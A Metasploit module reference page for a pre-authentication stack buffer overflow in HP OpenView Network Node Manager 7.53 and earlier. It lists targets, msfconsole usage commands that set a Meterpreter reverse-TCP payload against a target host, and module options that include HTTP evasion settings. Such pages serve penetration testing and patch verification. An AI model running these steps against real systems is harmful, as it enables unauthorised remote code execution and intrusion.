HP OpenView NNM 7.53, 7.51 OVAS.EXE Pre-Authentication Stack Buffer Overflow
This module exploits a stack buffer overflow in HP OpenView Network Node Manager versions 7.53 and earlier. Specifically this vulnerability is caused by a failure to properly handle user supplied input within the HTTP request including headers and the actual URL GET request. Exploitation is tricky due to character restrictions. It was necessary to utilize a egghunter shellcode which was alphanumeric encoded by muts in the original exploit. If you plan on using exploit this for a remote shell, you will likely want to migrate to a different process as soon as possible. Any connections get reset after a short period of time. This is probably some timeout handling code that causes this.
Exploit Rank
- Good
Exploit Authors
- bannedit < bannedit [at] metasploit.com >
- muts < >
Vulnerability References
Exploit Targets
- 0 - Automatic Targeting (default)
- 1 - Windows 2003/zip.dll OpenView 7.53
- 2 - Windows 2000/jvm.dll OpenView NNM 7.51
Exploit Development
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Exploit Usage Information
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msf > use exploit/windows/http/hp_nnm_ovas
msf exploit(hp_nnm_ovas) > show payloads
msf exploit(hp_nnm_ovas) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(hp_nnm_ovas) > set LHOST [MY IP ADDRESS]
msf exploit(hp_nnm_ovas) > set RHOST [TARGET IP]
msf exploit(hp_nnm_ovas) > exploit
Exploit Module Options
| Proxies | Use a proxy chain |
| RHOST | The target address |
| RPORT | The target port (default: 7510) |
| UserAgent | The HTTP User-Agent sent in the request (default: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0; SIMBAR={7DB0F6DE-8DE7-4841-9084-28FA914B0F2E}; SLCC1; .N) |
| VHOST | HTTP server virtual host |
| BasicAuthPass | The HTTP password to specify for basic authentication |
| BasicAuthUser | The HTTP username to specify for basic authentication |
| ContextInformationFile | The information file that contains context information |
| DOMAIN | The domain to use for windows authentification |
| DigestAuthIIS | Conform to IIS, should work for most servers. Only set to false for non-IIS servers |
| DigestAuthPassword | The HTTP password to specify for digest authentication |
| DigestAuthUser | The HTTP username to specify for digest authentication |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| FingerprintCheck | Conduct a pre-exploit fingerprint verification |
| NTLM::SendLM | Always send the LANMAN response (except when NTLMv2_session is specified) |
| NTLM::SendNTLM | Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses |
| NTLM::SendSPN | Send an avp of type SPN in the ntlmv2 client Blob, this allow authentification on windows Seven/2008r2 when SPN is required |
| NTLM::UseLMKey | Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent |
| NTLM::UseNTLM2_session | Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session |
| NTLM::UseNTLMv2 | Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| HTTP::header_folding | Enable folding of HTTP headers |
| HTTP::method_random_case | Use random casing for the HTTP method |
| HTTP::method_random_invalid | Use a random invalid, HTTP method for request |
| HTTP::method_random_valid | Use a random, but valid, HTTP method for request |
| HTTP::pad_fake_headers | Insert random, fake headers into the HTTP request |
| HTTP::pad_fake_headers_count | How many fake headers to insert into the HTTP request |
| HTTP::pad_get_params | Insert random, fake query string variables into the request |
| HTTP::pad_get_params_count | How many fake query string variables to insert into the request |
| HTTP::pad_method_uri_count | How many whitespace characters to use between the method and uri |
| HTTP::pad_method_uri_type | What type of whitespace to use between the method and uri (accepted: space, tab, apache) |
| HTTP::pad_post_params | Insert random, fake post variables into the request |
| HTTP::pad_post_params_count | How many fake post variables to insert into the request |
| HTTP::pad_uri_version_count | How many whitespace characters to use between the uri and version |
| HTTP::pad_uri_version_type | What type of whitespace to use between the uri and version (accepted: space, tab, apache) |
| HTTP::uri_dir_fake_relative | Insert fake relative directories into the uri |
| HTTP::uri_dir_self_reference | Insert self-referential directories into the uri |
| HTTP::uri_encode_mode | Enable URI encoding (accepted: none, hex-normal, hex-all, hex-random, u-normal, u-all, u-random) |
| HTTP::uri_fake_end | Add a fake end of URI (eg: /%20HTTP/1.0/../../) |
| HTTP::uri_fake_params_start | Add a fake start of params to the URI (eg: /%3fa=b/../) |
| HTTP::uri_full_url | Use the full URL for all HTTP requests |
| HTTP::uri_use_backslashes | Use back slashes instead of forward slashes in the uri |
